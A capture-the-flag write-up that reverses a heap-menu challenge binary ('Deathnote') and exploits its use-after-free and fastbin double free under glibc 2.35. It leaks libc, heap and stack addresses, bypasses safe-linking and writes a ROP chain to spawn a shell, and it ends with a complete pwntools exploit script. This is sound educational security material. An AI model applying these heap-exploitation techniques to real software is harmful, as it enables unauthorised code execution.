Pwn - Deathnote
- Difficulty : Medium
- Description : You stumble upon a mysterious and ancient tome, said to hold the secret to vanquishing your enemies. Legends speak of its magic powers, but cautionary tales warn of the dangers of misuse.
- Challege Files : pwn_deathnote.zip
- Side note : This is an unintended solution, since I completely ignored this option
42. ¿?¿?¿?¿?¿?¿?
Initial Recon
In the challenge distributables we were given a binary, a libc and a linker. Upon running the binary you get the following options :
⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠰⣿⡉⠹⢧⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣴⠛⠻⣧⣼⡟⠿⠿⣿⣿⣿⣿⣿⣶⣶⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣿⢶⣄⢠⣿⣷⣶⣦⣤⣈⣉⠙⠛⠻⠿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀
⠀⠀⠀⠀⢻⣇⡀⠛⣿⡟⠛⠿⢿⣿⣿⣿⣿⣿⣶⣦⣤⣄⣉⣿⡏⠀⠀⣄⠀⠀
⠀⠀⠀⠀⣟⠉⠹⢶⣿⣿⣷⣶⣦⣤⣌⣉⣙⠛⠛⠻⠿⢿⡿⠋⣠⣴⣦⡈⠓⠀
⠀⠀⠀⣰⠟⢻⣆⣾⣏⡉⠛⠛⠿⢿⣿⣿⣿⣿⣿⣶⡶⠀⣠⣾⣿⣿⠟⠁⠀⠀
⠀⠀⢀⣽⣦⣄⢹⣿⣿⣿⣿⣷⣶⣤⣤⣈⣉⠙⠛⠋⣠⣾⣿⣿⠟⠁⠀⠀⠀⠀
⠀⠀⢸⣇⠀⠻⣿⣏⣉⡉⠛⠻⠿⢿⣿⣿⣿⠋⠠⣾⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀
⠀⢠⣿⠉⠿⣼⣿⣿⣿⣿⣿⣷⣶⣦⣤⣬⡁⢠⡦⠈⠛⡁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣴⠿⢶⣄⣿⣧⣤⣄⣉⡉⠛⠛⠿⢿⡟⣀⣠⣤⣶⣾⠇⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢿⣤⣌⣹⣿⣿⣿⣿⣿⣿⣿⣶⣶⣤⣤⣈⣉⠙⣻⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠉⠙⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠛⠿⠿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-_-_-_-_-_-_-_-_-_-_-_
| |
| 01. Create entry |
| 02. Remove entry |
| 03. Show entry |
| 42. ¿?¿?¿?¿?¿?¿? |
|_-_-_-_-_-_-_-_-_-_-_|
💀
This definetrly seemed to be a
heap
chall given these option and name of the challenge.It turns out, all the protections in the binary are enabled
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Create Entry
As you create an entry it asks for three thing namely request size, page number and name of the victim :
-_-_-_-_-_-_-_-_-_-_-_
| |
| 01. Create entry |
| 02. Remove entry |
| 03. Show entry |
| 42. ¿?¿?¿?¿?¿?¿? |
|_-_-_-_-_-_-_-_-_-_-_|
💀 1
How big is your request?
💀 3
Page?
💀 3
Name of victim:
💀 AAAA
[!] The fate of the victim has been sealed!
Remove Entry
Upon choosing remove entry it asks for the page number to be removed :
-_-_-_-_-_-_-_-_-_-_-_
| |
| 01. Create entry |
| 02. Remove entry |
| 03. Show entry |
| 42. ¿?¿?¿?¿?¿?¿? |
|_-_-_-_-_-_-_-_-_-_-_|
💀 2
Page?
💀 3
Removing page [3]
Show Entry
Upon choosing show entry it asks for page number and shows its content
-_-_-_-_-_-_-_-_-_-_-_
| |
| 01. Create entry |
| 02. Remove entry |
| 03. Show entry |
| 42. ¿?¿?¿?¿?¿?¿? |
|_-_-_-_-_-_-_-_-_-_-_|
💀 3
Page?
💀 3
Page content: ddddd
Reversing Part
Here is the decompiled main
function in IDA
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v3; // rax
__int64 v5[12]; // [rsp+10h] [rbp-60h] BYREF
v5[11] = __readfsqword(0x28u);
memset(v5, 0, 80);
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 42 )
break;
_(v5);
}
if ( v3 > 0x2A )
{
LABEL_13:
error("Invalid choice!\n");
}
else if ( v3 == 3 )
{
show(v5);
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add(v5);
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete(v5);
}
}
}
}
This shows that program run an infinite loop, and in every iteration it prints the menu and asks to choose from the options.
add() Function
Here is the decompiled code for add
function
unsigned __int64 __fastcall add(__int64 a1)
{
unsigned __int8 v2; // [rsp+15h] [rbp-1Bh]
unsigned __int16 num; // [rsp+16h] [rbp-1Ah]
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
get_empty_note(a1);
printf(aHowBigIsYourRe);
num = read_num();
if ( num > 1u && num <= 0x80u )
{
printf(aPage);
v2 = read_num();
if ( (unsigned __int8)check_idx(v2) == 1 )
{
*(_QWORD *)(8LL * v2 + a1) = malloc(num);
printf(aNameOfVictim);
read(0, *(void **)(8LL * v2 + a1), num - 1);
printf("%s\n[!] The fate of the victim has been sealed!%s\n\n", "\x1B[1;33m", "\x1B[1;36m");
}
}
else
{
error("Don't play with me!\n");
}
return v4 - __readfsqword(0x28u);
- The program asks for size of chunk which should be more than
0x1
and less than0x80
and allocates memory with that size. - It is reading into that chunk with proper size, I don’t see any possibility of overwriting LSB of next chunks metadata for exploting
PREV_INUSE
bit. - Key observation : The size check is upto
0x80
, which means we can allocate0x90
sized chunks which are freed into unsorted bin.Sizes from0x49 - 0x58
will allocate0x60
sized chunk
Sizes from0x59 - 0x68
will allocate0x70
sized chunk
Sizes from0x69 - 0x78
will allocate0x80
sized chunk
and so on …
Thus0x79 - 0x80
will allocate0x90
sizes chunk - Also there isn’t any check which makes sure that the index at which the pointer is stored is already allocated or not, thus allowing us to allocate multiple chunks on the same index
delete() function
Here is the decompiled code for delete()
function
unsigned __int64 __fastcall delete(__int64 a1)
{
unsigned __int8 num; // [rsp+17h] [rbp-9h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf(aPage);
num = read_num();
if ( (unsigned __int8)check_idx(num) == 1 )
{
if ( *(_QWORD *)(8LL * num + a1) )
printf("%s\nRemoving page [%d]\n\n%s", "\x1B[1;32m", num, "\x1B[1;36m");
else
error("Page is already empty!\n");
free(*(void **)(8LL * num + a1));
}
return v3 - __readfsqword(0x28u);
}
- This fucntion simply frees the chunk at the index (user input) of list of chunk pointers
- The is
check_idx(num)
function which makes sure that thenum
is less than or equal to9
show() function
unsigned __int64 __fastcall show(__int64 a1)
{
unsigned __int8 num; // [rsp+17h] [rbp-9h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf(aPage);
num = read_num();
if ( (unsigned __int8)check_idx(num) == 1 )
{
if ( *(_QWORD *)(8LL * num + a1) )
printf("\nPage content: %s\n", *(const char **)(8LL * num + a1));
else
error("Page is empty!\n");
}
return v3 - __readfsqword(0x28u);
}
- This simply prints the contents of the chunk at given index, again these is
check_idx(num)
fucnction, to prevent OOB read. - There isn’t any check for freed chunk at that index, so we have a UAF to view freed chunk.
The Exploit
After reversing things were clear, since we were given with libc 2.35
, there are multiple protections which we will have to overcome, here is my chain of exlploit :
- Leak libc
main_arena
address fromunsorted bin UAF
- Leak a heap address using
UAF
on atcache
chunk and deobfuscate the address to bypasssafe-linking
introduced in libc 2.32 - Since
__free_hook
were removed in libc 2.34, we will have to write a ROP chain on stack - To write ROP chain we will first need a stack address leak, for that we can allocate a chunk on libc
environ
usingfastbin double free
and read that chunk to leak the address - To perform the write we can allocate a chunk on stack using
fastbin double free
and write ROP chain on that chunk
Main Bug
In libc 2.35 to check double free on a fastbin chunk, it checks that the chunk being freed is not at the top of the fastbin chunk list. Say chunk A
is victim chunk, and some another chunk B
, we can free both of them like:
free(A) #chunk A is at fastbin top
free(B) #chunk B is at fastbin top
free(A) #double free A
So the next time we malloc chunks, out first allocationg will be chunk A
, here we can corrupt the fd
pointer and point it to any arbitary location, so the next allocation after 2nd malloc on chunk A
will point to that arbitary address thus giving us both OOB read and write
To perform the exploit I have created some helper function to perform the I/O
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
def malloc(idx, size, data):
p.sendlineafter("_-_-_-_-", "1")
p.sendlineafter("request?", str(size))
p.sendlineafter("Page?", str(idx).encode())
p.sendlineafter("victim:", data)
def free(idx):
p.sendlineafter("_-_-_-_-", "2")
p.sendlineafter("Page?", str(idx).encode())
def view(idx):
p.sendlineafter("_-_-_-_-", "3")
p.sendlineafter("Page?", str(idx).encode())
p.recvuntil("content: ")
data = p.recvline()[:-1]
return data
Unsorted Bin Leak
- First allocate total of 9 chunks of equal size, 7 of them will go in
tcache bin
, 1 will go inunsorted bin
and another will stay allocated as a guard chunk toprevent consolidation
ofunsorted bin
chunk with thetop chunk
for i in range(10):
malloc(i, 0x80, "X"*0x80)
for i in range(7 + 1): # 7 tcache + 1 unsorted
free(i)
libc_leak = u64(view(7).ljust(8, b"\x00")) - 0x21ace0
log.critical(f"libc @ {hex(libc_leak)}")
This is the state of heap after the above operation
Stack Leak
- For this we will need atleast two
fastbin chunks
, therefore initially allocate total10 chunks
of size say0x80
, 7 of them will go intcache bin
and rest 3 infastbin
for i in range(10):
malloc(i, 0x78, "A"*0x78)
for i in range(8):
free(i)
#Performing double free
free(9)
free(8)
free(9)
This is how the heap looks in pwndbg
after performing the above operations
As you can see the two fastbin pointers are pointing to the same chunk.
Next up we allocate chunks to corrupt the
fd
of this double free chunk, before that we need to takesafe linking
linking in account and perform the obfuscation.In the above case
pos
will be equal to0x63c227661050
pos = heap_leak + 0x1050 # <--- heap data pointer
ptr = libc.sym['environ'] - 0x10 # <--- new fd
for i in range(7):
malloc(i, 0x78, "A"*0x78)
malloc(0, 0x78, p64((pos >> 12) ^ ptr)) #Corrupt fd of chunk A
malloc(1, 0x78, "F"*0x78) #Allocate chunk B
malloc(2, 0x78, "G"*0x78) #Allocate chunk A
As you can see the free chunk list now as labels
in it, which is 0x10
bytes before environ
Notice how
fastbins
are nowtcache
, becausetcache
becomes empty it transfers all thefastbin
chunks intotcache
due to its faster performanceNow we cal view the newly allocated chunk to take a stack leak
p.sendlineafter("_-_-_-_-", "3")
p.sendlineafter("Page?", "3")
p.recvuntil("content: ")
data = p.recvline()[:-1][16:]
stack_leak = u64(data.ljust(8, b"\x00"))
log.critical(f"stack_leak: {hex(stack_leak)}")
ROP Chain
- Now we have stack leak, our next goal is to overwrite the return address of
add
fucntion - Majority of the process will be same just that while allocating the chunk on the stack we will have to write the ROP chain
for i in range(10):
malloc(i, 0x68, "A"*0x68)
for i in range(7):
free(i)
free(8)
free(7)
free(8)
for i in range(7):
malloc(i, 0x68, "A"*0x68)
pos = heap_leak + 0x13e0 # <--- heap data pointer of the victim chunk
ptr = stack_leak - 424 # <--- saved RBP on add() function stack
#ptr = 0x7ffca22027a0 from below image
log.critical(f"Allocating Chunk on Stack @ {hex(ptr)}")
malloc(7, 0x68, p64((pos >> 12) ^ ptr))
malloc(7, 0x68, "F"*0x68)
malloc(7, 0x68, "G"*0x68)
pop_rdi = p64(libc.address + 0x001bbea1)
ret = p64(libc.address + 0x001bc065)
chain = p64(stack_leak - 424) + ret + pop_rdi + p64(next(libc.search(b"/bin/sh"))) + p64(libc.sym['system'])
malloc(7, 0x68, chain) #Stack allocation
This is how the stack looks after writing ROP chain on it
Then as soon as we return from the add()
function the rip
will get into the chain, thus popping a shell.
Complete Exploit
from pwn import *
import warnings
warnings.filterwarnings("ignore")
elf = context.binary = ELF('./deathnote')
libc = ELF('./glibc/libc.so.6')
context.log_level = 'debug'
p = elf.process()
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
def malloc(idx, size, data):
p.sendlineafter("_-_-_-_-", "1")
p.sendlineafter("request?", str(size))
p.sendlineafter("Page?", str(idx).encode())
p.sendlineafter("victim:", data)
def free(idx):
p.sendlineafter("_-_-_-_-", "2")
p.sendlineafter("Page?", str(idx).encode())
def view(idx):
p.sendlineafter("_-_-_-_-", "3")
p.sendlineafter("Page?", str(idx).encode())
p.recvuntil("content: ")
data = p.recvline()[:-1]
return data
#Leaking libc address
for i in range(10):
malloc(i, 0x80, "A"*0x80)
for i in range(8):
free(i)
libc_leak = u64(view(7).ljust(8, b"\x00")) - (0x7a16e7a1ace0 - 0x7a16e7800000)
log.critical(f"libc @ {hex(libc_leak)}")
libc.address = libc_leak
#Stack Leak
for i in range(10):
malloc(i, 0x78, "A"*0x78)
for i in range(8):
free(i)
free(9)
free(8)
free(9)
for i in range(7):
malloc(i, 0x78, "A"*0x78)
heap_leak = (deobfuscate(u64(view(8).ljust(8, b"\x00"))) - 0x1000) & (0xfffffffffffff000)
log.critical(f"heap_leak: {hex(heap_leak)}")
pos = heap_leak + 0x1050
ptr = libc.sym['environ'] - 0x10
log.critical(f"ptr @ {hex(ptr)}")
malloc(0, 0x78, p64((pos >> 12) ^ ptr))
malloc(1, 0x78, "F"*0x78)
malloc(2, 0x78, "G"*0x78)
p.sendlineafter("_-_-_-_-", "1")
p.sendlineafter("request?", str(0x78).encode())
p.sendlineafter("Page?", str(3).encode())
p.sendafter("victim", b'a'*0x10)
p.sendlineafter("_-_-_-_-", "3")
p.sendlineafter("Page?", "3")
p.recvuntil("content: ")
data = p.recvline()[:-1][16:]
stack_leak = u64(data.ljust(8, b"\x00"))
log.critical(f"stack_leak: {hex(stack_leak)}")
#Writing ROP chain
for i in range(10):
malloc(i, 0x68, "A"*0x68)
for i in range(7):
free(i)
free(8)
free(7)
free(8)
for i in range(7):
malloc(i, 0x68, "A"*0x68)
pos = heap_leak + 0x13e0
ptr = stack_leak - 424
log.critical(f"allocating chunk on stack @ {hex(ptr)}")
malloc(7, 0x68, p64((pos >> 12) ^ ptr))
malloc(7, 0x68, "F"*0x68)
malloc(7, 0x68, "G"*0x68)
pop_rdi = p64(libc.address + 0x001bbea1)
ret = p64(libc.address + 0x001bc065)
chain = p64(stack_leak - 424) + ret + pop_rdi + p64(next(libc.search(b"/bin/sh"))) + p64(libc.sym['system'])
malloc(7, 0x68, chain)
p.interactive()